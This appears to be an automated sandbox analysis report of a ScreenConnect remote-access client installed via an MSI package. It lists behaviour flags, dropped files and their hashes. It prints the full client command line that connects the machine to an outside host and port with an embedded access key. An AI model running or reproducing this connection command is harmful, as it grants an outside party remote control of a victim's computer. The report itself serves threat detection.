C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.ClientService.exe" "?y=Guest&h=72.34.192.116&p=443&s=5fc9f411-117c-4572-9cfa-ffe2193b5592&k=BgIAAACkAABSU0ExAAgAAAEAAQCh1LMiuZHCWnoEx3zyp3Q%2byMRNKMy%2fMpzE9hLaq%2blSh8q7Cw94%2bmDA8WwI9IKcrDN%2fr%2fdqU4Ags59GS6RCaPyPn936rAfCOTI9CXP064yOvcf9fQavPetNfif5r3GNznXF5F6XRQCupJxyWz%2fMsOsZQJfJgNsBDFv0HM%2bMG5eYVtahSY92VO2%2b9MSOp6qjtsU%2fHq2iKY8hD97qUnPeEpCfSiEkTldk8SlSxJteanmDl5EisI8yju0UfbKiQIijr%2b20%2f3QRo%2bQPvCX%2fecRVq2P7Ztn1a9jGMQx2DkOn2rtVaWbahETu5i0Dld0CV5F%2b3xPKO2k8MhYZiZZROEa5BHCa&r=&i=6168p" "1"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3924 -
C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.WindowsClient.exe" "RunRole" "3b7a423b-bbf5-43ed-a40b-501e78d092af" "User"2⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5940
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e58cfcf.rbs
- Size 9KB
- SHA256 62f6aab0d87cbc40edcbc782d8e228663e64287420fb90562fef2eedd4c52134
- MD5 b8b39f99047db4506f5e324a00dcfd4b
- SHA1 85820966c865c227faf1396356cb3edf668daac1
- SHA512 57917e93e05e3b9f6d86d59bc8744044c4c4fa6a96e0e4e91904b48648ae6f617503e810fa6f6fe942ff0627761870cce9cfa3256575c9df8173cbf996374426
- SSDEEP 96:nuES2ctcgGfjxAlB5eKAfqwUoxRzCsThqmwUoxRzC6jciGxpThqUHoe5PhG709ax:ns2c10s3ebKoruIRoruv5TGKrEpz
- TLSH T1D712EE15B20196E2FA971B32C34B0A203B72DAE85701736B14CE95B94F917CD2F7C6CA
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\Client.Override.en-US.resources
- Size 662B
- SHA256 40fe06a010ac691ce7d002e49c34e42e0c835af4817e8d62a7993d9af0eb906d
- MD5 085f9415afb099e99a1385a49c1ef2d1
- SHA1 93997097477ca75f09f8ae9c48e3628f7def181c
- SHA512 14342b3e3187506fa1d16150829d3f8a65df13001ade0aa3c7ae047f0c55cf93083ac9efe1a7ba044022f3509573e3cb3026f00b21090042e6c0455fcafcffab
- TLSH T120017D6503FD1179EA710ABBB27AB5E67232FC106D14C82D496406AC1BB2342C263F77
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\Client.Override.resources
- Size 20KB
- SHA256 b511fb56c085bbc6df2a2015719b76c036cc28276bdc23047f4b2ce14dab1449
- MD5 4f416f137b4d1c78b47b6bd5548f1f49
- SHA1 7bc30fae126b104744b163e215c763eef2ec1616
- SHA512 4cf3e0d83c4113e8256b523a1b74756821415a40dc0e9c03a8cc6c81e248b8faf23f2a65bd5f266145bdab48845b1f484591d3e941d8af718c7ea08879602725
- SSDEEP 384:rWAOWOLv5q2k918nOWOLv5q2ACj5SK9ONzWRFhPNOWOLv5q2k918nOWOLv5q2k9c:6A/O9t/O9yK9ONqvhl/O9F/O9n
- TLSH T170A2AF9E704DEFF8D34B191E0DDAE141081A8F3622293AFF5E554623B2C619BE44DCB8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\Client.en-US.resources
- Size 30KB
- SHA256 263ef61c10e08a4e28840f3a8e4878b99cc4ff6ca01db031bffc5348159b4746
- MD5 eb36b8203513f81cd71c78138bcb7cf5
- SHA1 0df5fbdac8f098adb3c88cce6f605b8ca2ea7e05
- SHA512 1c1d850644736170e163fe2628f51167eb1c4268f882a0a065966dcbf0d46642ede6149f31c75319cc6527c8a513c32bd5b85def0f4f51afc31873842acda82c
- SSDEEP 768:+rjU9VLaxSQ0hV0nUW0hZ10VKFi95wlLchlKj1EjMcVZRM:l9VOSQ0r0nUW4Z10VKFi95wlLchlKj11
- TLSH T14AD2FE1277FD0A58F5F3AF45BE7A8861993BBD562F25C02E0028505E1AB2F84C9B1773
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\Client.resources
- Size 4KB
- SHA256 6e5a9facb9f91eb70320e4400c40a2911c4500170e05a5c02c544edaf9b7464f
- MD5 2a9e105ffe57302cae11202ea1194182
- SHA1 72255e5e34e450b450157732330761ce4c010b11
- SHA512 024a61ada26e3dd483eb60b538c1b7e3ff15518f7ea0914a7915a3e5ca1c81ae35922f79cbd1eba8fcd9a0675044894ec36129246c47eb91811955569230edab
- SSDEEP 96:rKz18NKrJ3OnNO+Ge7x1vZcRkoAcDIaapi5:rKpT3Ons+Ge7x1vZgkoJI/m
- TLSH T1D99171DF23AB5D24F4BE177F77AA10219BF66D3BD42283D902C144E49A41E0B9981773
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.Client.dll
- Size 95KB
- SHA256 3592da7d94bbf59483f4be44b796a0da4c2a334b69f243bd50de588b21331274
- MD5 37ea32a0449acef8261477bcd82f4af3
- SHA1 3e59a162d026a56ea6785ab21a0a8c64b8470a41
- SHA512 443a78f48bde3d72ef2d3ea91cccdb1d739cbe021cf68510a65040503705da96ccbb5b934830803fb6d50a9b6e2992e6366e895fd5c398562b1f9b1f056c32b8
- SSDEEP 1536:oYF7fdAjbENmSQfsPwHHxqzJ03seB9ss93MGmehbh1b8F/:L7dAjbE0SQk213se4sFMGNZb8F/
- TLSH T199936CA773787D3AC7DF0A37A46515006FB0BA456153F70AAE88A8FD696338106707E3
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.ClientService.dll
- Size 27KB
- SHA256 c845fe7d6dc1bc7747ea2bf68c5a5772c2f619fdababa3b4079ddc0b52bb27fe
- MD5 0263a88ecea8ecd2dd94d67e4708c587
- SHA1 30f6bc766c2e6c2c39425a615a037ca5ebc0c527
- SHA512 55085da6cbe59b6cf87e139a9898d09d37b038a96c5c2a742b543d347db3cc21ec894d528010e6aba926c29b0413336205a2beb4b5f18daf0d1becd927cc9b16
- SSDEEP 768:Sb9lhSTiN7Pdg2WgBc4VvqnEhu04wbJPE:Sb9IiN7Pdegjvqs4wbJPE
- TLSH T1AAC2F75563BD8D7AE8CF4BB878B261810AB0A903D162F39D4DCD90EE5F237805A543E7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.ClientService.exe
- Size 88KB
- SHA256 d9f68eb32f3eaecb82c5790917da5842e8db2cb64afdb2b124b4cf76ecec1d29
- MD5 a6646603cb4e5397005a945e11f7b7d5
- SHA1 541d387d547e69d97a24ed72eaff5a905cb6c8a1
- SHA512 2272d66580f44a1c59a2bbd50867f483d2cc1090550a4987e569cb5557c5506b1afa4d97deed628cfc3183e81642195b744bf4b472790360cd2c4cd67d410823
- SSDEEP 1536:qBXhK4KUgXEnXVTS3fYcjbksWjcd6S90V4WsedZNluorik:ERcUgX+8dbL6S902WsedlT
- TLSH T159938C22B6D1D471E5B3063248B8CE510A3EFE275F71989B7788024E5AB42D09F39B77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.Windows.dll
- Size 1.1MB
- SHA256 d207418d1005ae62e096cf1678b4cc18308ca92053ee950c1737b10ad1d14fb2
- MD5 62cbb526ebba56d5c375d4c05089674e
- SHA1 0c50d6f21dfed1cd91408bc856c68665de63238e
- SHA512 2e27639e757b5a00a8bc438a38360ddba302b6d878741d8d9db92c8484bfa4f0d58c33a5af1366ef45346540641737cd7c782977d84ad1df60610b81877e39d7
- SSDEEP 24576:V2/+RfmT01krTL3ZAL2OA1qsmT/N6hGoqMEfxtHye6R:V2zT0+TL3Z0Wi6D2fxdx
- TLSH T1AF35BF46E29111B2D4BB417488FD5A16F7747C0D03B0C7AF17D87E6A6E337D09A2A3A2
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.WindowsClient.exe
- Size 408KB
- SHA256 c456e46401f53cd00859bb7360d2f53e7a20c817434b38870b8c44da1d05640f
- MD5 f1db014b8d77968a26d08ee44438d10a
- SHA1 420b3d18daf0e194c3950f81f1494a041f367617
- SHA512 1085811b6cbf2e25b6628df0b7468913224327c14afe24ce3838b58fb9343a350f0d1e4f0418e553f6b07a3bc9f25a25683503469989f2a5eab08be748b702ba
- SSDEEP 6144:zslxbUe+6Txk7YFILikD+Q3MgMAOY2WPVCclR4I5+DzuRKqAD4+UqFvhD1VLdw3C:4lxKYuLikDF3kRY9GfEG3
- TLSH T183946C6533B89A26C9EF4B39F072250447F5DD02938AE7AF5C54A4E90DC63426F08AF7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.WindowsClient.exe.config
- Size 259B
- SHA256 f3c7ed5a1114cbfa6e3e996f4b0311edb5e25dc2099fd7eb7a3a456c261a2d94
- MD5 95f04aa18dc27e4f0c73ac6829dcc3d8
- SHA1 2f361486c18e23cea4b375e1c9cccdc14bdd620d
- SHA512 59bfd8675c2b215e793bf343b6d1aa9c3304ab763c5870a4934ab947284af7bb0493fc4b5a6048dc3d531262e061d68d7395f09eaee1ebf1524c0d8ed63164b4
- TLSH T1F6D05E5408D4FD3BAF225663666389A9EF75E2E140B84808B49F2573051209A43A7322
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\app.config
- Size 682B
- SHA256 d55b1bbde76bbf5a80fa87b0bea00422b383f2a7678afc5cc680e16b9d2db739
- MD5 143e45efabf862474a2689a693982a69
- SHA1 c8136e2e8e34cb988dd633ba8fe6868575575187
- SHA512 0b0843912689f11e102b06ceba0ee076c4e3856f7a24051baffe34155770848ab2b5360b46e63e2ff1fc28479cb2add21a60ad24321c78777bb0fa5f5dff8280
- TLSH T1D901DB1575C4BD2A16A31E33E6234900ADB069A30215645D78AE353BDB765D903F33D7
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\ScreenConnect Client (1ea8a1a72b1d7ccc)\user.config
- Size 513B
- SHA256 d593b6fd326276c1e28d99278eba7514e0c3bb8c1d1678ef6e26dcca0fe864d8
- MD5 c0287e4d87b344cb9d6aff579edab205
- SHA1 03ec4f01d717fa1aee32b3b803864c2fac18b1e0
- SHA512 ef4e156848280325913cbd9a86a3b4edb6760c46de99854b5ba83bc1205330fb4f25f12ea441f2372b60eedc4ab6d46228b964ed89553187f5a25878cfaee335
- TLSH T11DF027243288AE2B16735E23C612C304FE716AD30116645C74ED727B9F714EA07B36D6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log
- Size 752B
- SHA256 ba3560f06e8d61c518c3e9180af6438bb18703f02740ded052f3467bab3b0351
- MD5 722d85a7d7494ff5588b786db48fd81b
- SHA1 8f183c8369956f3fe1bd5382ba9cbbd62d26eabc
- SHA512 4a0233004dead9181f796c03537532bd62810aa2a8db7cd55071e3919af659de635681a5e3d307d3dd9e8ee7b8d5ff665e8e2c158103db54d0704fa745b5bbdd
- TLSH T14D014770327BA0D84D152F952C2E6AC403BF033AB6509E1C7998729EEE264576F211E7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\MSI92B6.tmp
- Size 306KB
- SHA256 e5cd1a2bc2ef90426fc8b24824ac4b1f77e90468493aea244b9ffa865ac22cbf
- MD5 46f85de35249655075e2f6ae9a1e73d6
- SHA1 637c2a943327f7cb3ced6d8254fa7bd74a8148c1
- SHA512 a9e23f2dc3ef80a7520cc66e89d730778deeb676356ac4569d634d7f4141196a0b8e3a1e0bfc712616c73096175c93f42ce5c41a87439cc51487e39be02bc710
- SSDEEP 6144:4UUG777hkC52odcvgzVvOZNEL07+kgYw3pgULzQu:4UUa/hkuVcvc57pTzQu
- TLSH T19764E0043BF58035F2A63B351D35A2A049FE79B16975C24E7B851A6C8EB1B81EB74333
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\MSI92B6.tmp-\Microsoft.Deployment.WindowsInstaller.dll
- Size 176KB
- SHA256 fa74ae4d5e62a1cc7cfeaa55d84fe9bddab06651b6744fb4469074e79317da99
- MD5 1e5a0962f20e91ca18bc150266e6f49e
- SHA1 e71caab3b88b2913178ca2ae549a00455679cd4e
- SHA512 09021a2183536d07d915e413bd70fbd47f6afcf9fa9b8deb886f473c7b3dc3ee3e042c126f644be70f42f491692fab0a25b49ef88099caf272eec75c5bd2fc1f
- SSDEEP 3072:gF0dZC92qTyU+fKlRUjW01Ky040aUq+0RLuovZnCZ4C7KjmlG42:gaw22yWq+0RLuoxXml5
- TLSH T103046B6553BC833FCEBF8739E13541A2D7F0E4A63517DB1CAD8241B52562B90BA92383
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\MSI92B6.tmp-\ScreenConnect.Core.dll
- Size 269KB
- SHA256 77d4e0732620be7524a56466cc843fa0ee1be90f8bcc84a6803e9d1b56cd2f9a
- MD5 7a948bb2b8a87252b72b8ddcf3f6e515
- SHA1 130a898c46046c9de97ca21c7eaf23c6cf678419
- SHA512 10ff9bc9e54b50baff9ca8bb6b3bb0188e7e7fb795eb9596cb2fb723eb238db89708b4b88896800d2dd1406945f7d4f9024d71f8fe52552dfe1354f9ec1fad6c
- SSDEEP 6144:0NRAR6oFFxPYDOOdLm8z/+B1Qx4ki+wjcI:URAR6WxPCOOdLm8BI
- TLSH T14A446C2197E8A72AC69E5B36F02015144770D586B4A6F37AED6CE4F93D833C5DA002BF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\MSI92B6.tmp-\ScreenConnect.InstallerActions.dll
- Size 17KB
- SHA256 eb35ea7eb4dbc66d50aad48a6922bed1a099a87880a6ba8b5a109f6459fd9685
- MD5 fdc322abcf17ec5e9eee85f9828c0c3e
- SHA1 61677c1c6108c88869f73d60584b7985a4f9992e
- SHA512 068a4102384df4869d4c4170d8c4658ff34ab76213a265a05696dc0fc583d8ced24894a995f471ff0e9c472134a2416cfcbb1029b91089310865a0ce467912d0
- SSDEEP 384:sRvazYJKnH1aN2GFwrMxyDkjvaU5ydonb1:IYYJKn4NFtp5yAb1
- TLSH T1DF826001B7EC572AF1FB3F79BDB201600A72FD66A934EB5E0980119E4D31B4489A0B77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\setup.msi
- Size 1.4MB
- SHA256 4082c67c0898ecbc4153861af77c99ffb217083bd75c59019ca3c8470e19d1ec
- MD5 6d267ff98114ad1fe57ea6883f88716c
- SHA1 ad2ca4775e5f41ea6945700e4acb7e4e18762f46
- SHA512 29035af5b901291b082880731c889941e9976a8b7696f69bab3bb3480b5207ea95531a6bc8dc1ebe9d10f37fa933199fab0745179034151d188bbd5e61bbcae3
- SSDEEP 24576:cSw223jvFu/GgKkPBwSTEfnSfGLr7Z4QtK+lUUGGuVmezQaBA:cSe3jMe2PmeSrN4Q9uGuh/A
- TLSH T18C65021536E44131F1F71B36AE3AD2309A3ABE642B31C05E53443A5E6EB0AD1D7B6363
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSID0F8.tmp
- Size 152KB
- SHA256 3585ccf92c60150cf863e26c0eb2948e206841ca8ff91dac092cf567eef0880b
- MD5 c62f1d994bb13e677211bbdba96433f8
- SHA1 3a00d34df6ec81035234e339194fb49fbe317dbf
- SHA512 c3269bcc5a639e7b8ebffc6f75313e12b27c8ad83abd99708e2aa7b5adfbb46a9fad1ebee81c2c53b9f84ea0e5ef200611a6db7b9f7165d43af04d853d47bef9
- SSDEEP 3072:JfpfhBZ9nKWcT+c4JIS+jcug64vM/CDnGvlEm:JxfhBZ9K76ISVuxF/hm
- TLSH T1CEE37C2662A48032E2F7157BEA3AC6309E3FF2182720C59983449D5F7D684D5ABF7713
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 bc11345435e6ffc5d2a7519ed1bf0c0b1985823ea339502ce4892412217669f8
- MD5 1059f4a0b43ee61ffa4954ddf18b2476
- SHA1 d25ea7d00f212512771d13eed370002403e7eccb
- SHA512 6651a1dda1aa203df0a89302700be9bf39b2458aec354345b45e18a5f69877a58229d833ffdec537ba11e2f93bf16c0f14fdbd15f2f70e13d2076757822060dd
- SSDEEP 24576:+u8m+1z5doO/vvTLL2WezWqCHvkTel2y6gGNUJX1O0K3+x/L4vlvuwdhz:0
- TLSH T16747F42436F92210E7F39F3CA8F16A2B493A7D5B9C15DE8D05411F4E0921BB1E872F5A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{7d83d395-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{2da3d374-9aff-4479-b3f0-8ee4ceed52d7}_OnDiskSnapshotProp
- Size 6KB
- SHA256 1b5ab7d7920a2ad1cbef1141f9f1fe34247804d9fa58973b4c420dce737e8e6e
- MD5 118812c9b88af0a36a6a980e442b4ec2
- SHA1 6af5300162eb7faafd23ab3f1123e04d5deeb92c
- SHA512 ff022097bcca3b0bf8ebe48c536ff5346c7b219cf358eb930d3889135fdd9d1193b76a354ae008e5ab86897f065f09acfdafbbbd91c62fd27b2b285f07e0d7db
- SSDEEP 96:FHOTNEZ492kvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:onb++ZVm
- TLSH T153D1881C4AE54311E2B3AB7228F18557A837B811EF33CB8E0198638E6630A10F975F5F
- MD5 SHA1 SHA512 SSDEEP TLSH